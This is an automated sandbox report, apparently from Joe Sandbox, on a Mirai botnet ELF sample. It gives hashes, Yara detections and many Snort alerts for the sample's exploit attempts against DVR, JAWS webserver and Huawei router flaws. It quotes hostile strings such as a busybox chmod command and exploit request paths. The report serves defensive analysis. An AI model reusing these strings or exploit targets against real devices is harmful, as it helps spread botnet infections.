Edit tour

Linux Analysis Report
if33NMq1O2.elf

Overview

General Information

Sample name:	if33NMq1O2.elf renamed because original name is a hash value
Original sample name:	164d5388d64b5e1427f2df0375e51352.elf
Analysis ID:	1368672
MD5:	164d5388d64b5e1427f2df0375e51352
SHA1:	fb0d8c86b6909f1137dfb77a40c716fdd453ac13
SHA256:	1f21e09f4da090783aa816fdb36fd530da92aea0fe7967f3ae8def43b2f27de7
Tags:	32elfmiraisparc
Infos:

Detection

Mirai

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Mirai

Sample tries to kill multiple processes (SIGKILL)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

Analysis Advice

Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

General Information

Joe Sandbox version:	38.0.0 Ammolite
Analysis ID:	1368672
Start date and time:	2024-01-02 06:23:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	if33NMq1O2.elf renamed because original name is a hash value
Original Sample Name:	164d5388d64b5e1427f2df0375e51352.elf
Detection:	MAL
Classification:	mal100.spre.troj.linELF@0/0@2/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/if33NMq1O2.elf
PID:	6209
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	unstable_is_the_history_of_universe
Standard Error:

Process Tree

system is lnxubuntu20

if33NMq1O2.elf (PID: 6209, Parent: 6125, MD5: 7dc1c0e23cd5e102bb12e5c29403410e) Arguments: /tmp/if33NMq1O2.elf

if33NMq1O2.elf New Fork (PID: 6211, Parent: 6209)

if33NMq1O2.elf New Fork (PID: 6213, Parent: 6211)

if33NMq1O2.elf New Fork (PID: 6214, Parent: 6211)

if33NMq1O2.elf New Fork (PID: 6258, Parent: 6214)

if33NMq1O2.elf New Fork (PID: 6216, Parent: 6211)

if33NMq1O2.elf New Fork (PID: 6219, Parent: 6211)

if33NMq1O2.elf New Fork (PID: 6221, Parent: 6211)

xfce4-panel New Fork (PID: 6224, Parent: 2063)

wrapper-2.0 (PID: 6224, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"

xfce4-panel New Fork (PID: 6225, Parent: 2063)

wrapper-2.0 (PID: 6225, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"

xfce4-panel New Fork (PID: 6226, Parent: 2063)

wrapper-2.0 (PID: 6226, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"

xfce4-panel New Fork (PID: 6227, Parent: 2063)

wrapper-2.0 (PID: 6227, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"

xfce4-panel New Fork (PID: 6228, Parent: 2063)

wrapper-2.0 (PID: 6228, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"

xfce4-panel New Fork (PID: 6229, Parent: 2063)

wrapper-2.0 (PID: 6229, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
if33NMq1O2.elf	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
if33NMq1O2.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
if33NMq1O2.elf	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x10c47:$x2: /bin/busybox chmod 777 * /tmp/ 0x10990:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x108d8:$s3: POST /cdn-cgi/
if33NMq1O2.elf	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x108d8:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Mirai_12	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
6213.1.00007fd3b0011000.00007fd3b0023000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
6213.1.00007fd3b0011000.00007fd3b0023000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6213.1.00007fd3b0011000.00007fd3b0023000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x10c47:$x2: /bin/busybox chmod 777 * /tmp/ 0x10990:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x108d8:$s3: POST /cdn-cgi/
6213.1.00007fd3b0011000.00007fd3b0023000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x108d8:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
6209.1.00007fd3b0011000.00007fd3b0023000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
6209.1.00007fd3b0011000.00007fd3b0023000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6209.1.00007fd3b0011000.00007fd3b0023000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x10c47:$x2: /bin/busybox chmod 777 * /tmp/ 0x10990:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x108d8:$s3: POST /cdn-cgi/
6209.1.00007fd3b0011000.00007fd3b0023000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x108d8:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
6258.1.00007fd3b0011000.00007fd3b0023000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
6258.1.00007fd3b0011000.00007fd3b0023000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6258.1.00007fd3b0011000.00007fd3b0023000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x10c47:$x2: /bin/busybox chmod 777 * /tmp/ 0x10990:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x108d8:$s3: POST /cdn-cgi/
6258.1.00007fd3b0011000.00007fd3b0023000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x108d8:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
Click to see the 7 entries

Snort Signatures

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 52.51.210.253

Timestamp:	192.168.2.2352.51.210.25354244802025883 01/02/24-06:25:26.161554
SID:	2025883
Source Port:	54244
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 45.148.36.42

Timestamp:	192.168.2.2345.148.36.4256504802025883 01/02/24-06:24:01.272066
SID:	2025883
Source Port:	56504
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 91.200.67.110

Timestamp:	192.168.2.2391.200.67.11059548802030092 01/02/24-06:24:19.258178
SID:	2030092
Source Port:	59548
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.208.169.8

Timestamp:	192.168.2.2323.208.169.837612802025883 01/02/24-06:24:14.264263
SID:	2025883
Source Port:	37612
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 162.159.129.103

Timestamp:	192.168.2.23162.159.129.10357618802025883 01/02/24-06:24:03.166357
SID:	2025883
Source Port:	57618
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.230.152.225

Timestamp:	192.168.2.23104.230.152.22550120802030092 01/02/24-06:24:30.618084
SID:	2030092
Source Port:	50120
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 188.128.206.168

Timestamp:	192.168.2.23188.128.206.16847120802025883 01/02/24-06:24:13.779989
SID:	2025883
Source Port:	47120
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.33.51.11

Timestamp:	192.168.2.2323.33.51.1137284802025883 01/02/24-06:25:10.230054
SID:	2025883
Source Port:	37284
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 43.192.122.65

Timestamp:	192.168.2.2343.192.122.6537836802025883 01/02/24-06:25:44.376815
SID:	2025883
Source Port:	37836
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 58.152.149.5

Timestamp:	192.168.2.2358.152.149.559232802025883 01/02/24-06:24:41.116385
SID:	2025883
Source Port:	59232
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 63.195.193.240

Timestamp:	192.168.2.2363.195.193.24042464802025883 01/02/24-06:23:51.372398
SID:	2025883
Source Port:	42464
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 4.152.153.164

Timestamp:	192.168.2.234.152.153.16453294802025883 01/02/24-06:23:55.535212
SID:	2025883
Source Port:	53294
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 107.22.7.90

Timestamp:	192.168.2.23107.22.7.9054290802030092 01/02/24-06:25:15.619385
SID:	2030092
Source Port:	54290
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 67.212.162.83

Timestamp:	192.168.2.2367.212.162.8360502802025883 01/02/24-06:23:51.361230
SID:	2025883
Source Port:	60502
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 45.63.78.70

Timestamp:	192.168.2.2345.63.78.7035444802025883 01/02/24-06:24:24.766885
SID:	2025883
Source Port:	35444
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.107.170.116

Timestamp:	192.168.2.2334.107.170.11651938802030092 01/02/24-06:24:04.121161
SID:	2030092
Source Port:	51938
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 18.176.244.127

Timestamp:	192.168.2.2318.176.244.12750336802025883 01/02/24-06:24:45.251137
SID:	2025883
Source Port:	50336
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 194.8.215.90

Timestamp:	192.168.2.23194.8.215.9047106802025883 01/02/24-06:25:39.116051
SID:	2025883
Source Port:	47106
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.230.152.225

Timestamp:	192.168.2.23104.230.152.22549976802030092 01/02/24-06:24:24.820851
SID:	2030092
Source Port:	49976
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.92.147.46

Timestamp:	192.168.2.23104.92.147.4650912802030092 01/02/24-06:24:41.035412
SID:	2030092
Source Port:	50912
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.31.77.178

Timestamp:	192.168.2.2352.31.77.17848046802030092 01/02/24-06:25:05.043017
SID:	2030092
Source Port:	48046
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.82.113.61

Timestamp:	192.168.2.23104.82.113.6149624802025883 01/02/24-06:23:55.139649
SID:	2025883
Source Port:	49624
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 69.192.43.58

Timestamp:	192.168.2.2369.192.43.5855492802030092 01/02/24-06:25:21.993012
SID:	2030092
Source Port:	55492
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 49.44.196.208

Timestamp:	192.168.2.2349.44.196.20855840802030092 01/02/24-06:24:41.307799
SID:	2030092
Source Port:	55840
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 103.39.16.68

Timestamp:	192.168.2.23103.39.16.6847170802025883 01/02/24-06:24:15.125482
SID:	2025883
Source Port:	47170
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 2.21.48.248

Timestamp:	192.168.2.232.21.48.24839876802025883 01/02/24-06:24:51.823067
SID:	2025883
Source Port:	39876
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 118.232.97.51

Timestamp:	192.168.2.23118.232.97.5137750802030092 01/02/24-06:24:56.010020
SID:	2030092
Source Port:	37750
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 171.244.56.107

Timestamp:	192.168.2.23171.244.56.10744564802030092 01/02/24-06:24:03.532179
SID:	2030092
Source Port:	44564
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 151.101.7.166

Timestamp:	192.168.2.23151.101.7.16645530802030092 01/02/24-06:23:49.491267
SID:	2030092
Source Port:	45530
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 77.75.231.124

Timestamp:	192.168.2.2377.75.231.12448474802030092 01/02/24-06:23:59.226697
SID:	2030092
Source Port:	48474
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.27.61.236

Timestamp:	192.168.2.23104.27.61.23650004802030092 01/02/24-06:24:48.847612
SID:	2030092
Source Port:	50004
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 24.90.220.124

Timestamp:	192.168.2.2324.90.220.12451082802025883 01/02/24-06:25:34.883177
SID:	2025883
Source Port:	51082
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 66.22.55.129

Timestamp:	192.168.2.2366.22.55.12933832802025883 01/02/24-06:23:51.506025
SID:	2025883
Source Port:	33832
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.213.63.230

Timestamp:	192.168.2.23154.213.63.23060686802030092 01/02/24-06:24:37.365549
SID:	2030092
Source Port:	60686
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 2.17.176.11

Timestamp:	192.168.2.232.17.176.1145384802025883 01/02/24-06:25:15.290469
SID:	2025883
Source Port:	45384
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.18.64.54

Timestamp:	192.168.2.2334.18.64.5447396802030092 01/02/24-06:24:30.779179
SID:	2030092
Source Port:	47396
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 184.26.2.239

Timestamp:	192.168.2.23184.26.2.23933266802025883 01/02/24-06:25:32.158283
SID:	2025883
Source Port:	33266
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 152.67.216.180

Timestamp:	192.168.2.23152.67.216.18058250802030092 01/02/24-06:24:09.004126
SID:	2030092
Source Port:	58250
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.204.125.106

Timestamp:	192.168.2.2323.204.125.10656392802030092 01/02/24-06:24:13.920039
SID:	2030092
Source Port:	56392
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 103.57.209.45

Timestamp:	192.168.2.23103.57.209.4560092802025883 01/02/24-06:25:10.115853
SID:	2025883
Source Port:	60092
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.85.0.139

Timestamp:	192.168.2.23185.85.0.13949486802030092 01/02/24-06:24:38.209929
SID:	2030092
Source Port:	49486
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 38.181.35.219

Timestamp:	192.168.2.2338.181.35.21934712802030092 01/02/24-06:24:09.179650
SID:	2030092
Source Port:	34712
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.247.20.255

Timestamp:	192.168.2.23156.247.20.25537352372152829579 01/02/24-06:25:07.990796
SID:	2829579
Source Port:	37352
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 157.245.212.163

Timestamp:	192.168.2.23157.245.212.16341682802030092 01/02/24-06:24:14.930071
SID:	2030092
Source Port:	41682
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.99.40

Timestamp:	192.168.2.23156.235.99.4053148372152829579 01/02/24-06:25:03.497246
SID:	2829579
Source Port:	53148
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.204.125.106

Timestamp:	192.168.2.2323.204.125.10656446802025883 01/02/24-06:24:14.743069
SID:	2025883
Source Port:	56446
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 47.95.228.73

Timestamp:	192.168.2.2347.95.228.7335778802030092 01/02/24-06:24:59.105890
SID:	2030092
Source Port:	35778
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.102.230

Timestamp:	192.168.2.23156.235.102.23034064372152835222 01/02/24-06:23:48.382924
SID:	2835222
Source Port:	34064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.254.143.77

Timestamp:	192.168.2.2354.254.143.7760350802030092 01/02/24-06:23:58.484471
SID:	2030092
Source Port:	60350
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 184.85.178.236

Timestamp:	192.168.2.23184.85.178.23639722802030092 01/02/24-06:25:16.029669
SID:	2030092
Source Port:	39722
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 77.40.58.23

Timestamp:	192.168.2.2377.40.58.2351878802030092 01/02/24-06:25:02.046176
SID:	2030092
Source Port:	51878
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 142.58.40.154

Timestamp:	192.168.2.23142.58.40.15445582802030092 01/02/24-06:24:23.995843
SID:	2030092
Source Port:	45582
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 156.234.219.234

Timestamp:	192.168.2.23156.234.219.23440728802025883 01/02/24-06:25:19.115031
SID:	2025883
Source Port:	40728
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.222.136.166

Timestamp:	192.168.2.2323.222.136.16659240802030092 01/02/24-06:25:34.867652
SID:	2030092
Source Port:	59240
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 77.246.183.30

Timestamp:	192.168.2.2377.246.183.3046272802030092 01/02/24-06:24:55.948920
SID:	2030092
Source Port:	46272
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 5.201.189.181

Timestamp:	192.168.2.235.201.189.18145518802030092 01/02/24-06:25:25.755860
SID:	2030092
Source Port:	45518
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 73.116.187.145

Timestamp:	192.168.2.2373.116.187.14544290802025883 01/02/24-06:24:46.089608
SID:	2025883
Source Port:	44290
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.103.55

Timestamp:	192.168.2.23156.254.103.5538508372152829579 01/02/24-06:24:27.790071
SID:	2829579
Source Port:	38508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 2.19.103.220

Timestamp:	192.168.2.232.19.103.22048104802025883 01/02/24-06:25:04.208897
SID:	2025883
Source Port:	48104
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.154.143.217

Timestamp:	192.168.2.2318.154.143.21732888802030092 01/02/24-06:25:38.870167
SID:	2030092
Source Port:	32888
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 174.84.210.3

Timestamp:	192.168.2.23174.84.210.335298802025883 01/02/24-06:25:31.914564
SID:	2025883
Source Port:	35298
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 212.109.194.43

Timestamp:	192.168.2.23212.109.194.4333828802030092 01/02/24-06:24:23.748097
SID:	2030092
Source Port:	33828
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 18.169.231.145

Timestamp:	192.168.2.2318.169.231.14560782802025883 01/02/24-06:24:54.905175
SID:	2025883
Source Port:	60782
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 72.37.218.199

Timestamp:	192.168.2.2372.37.218.19948926802025883 01/02/24-06:24:05.713034
SID:	2025883
Source Port:	48926
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.99.215.108

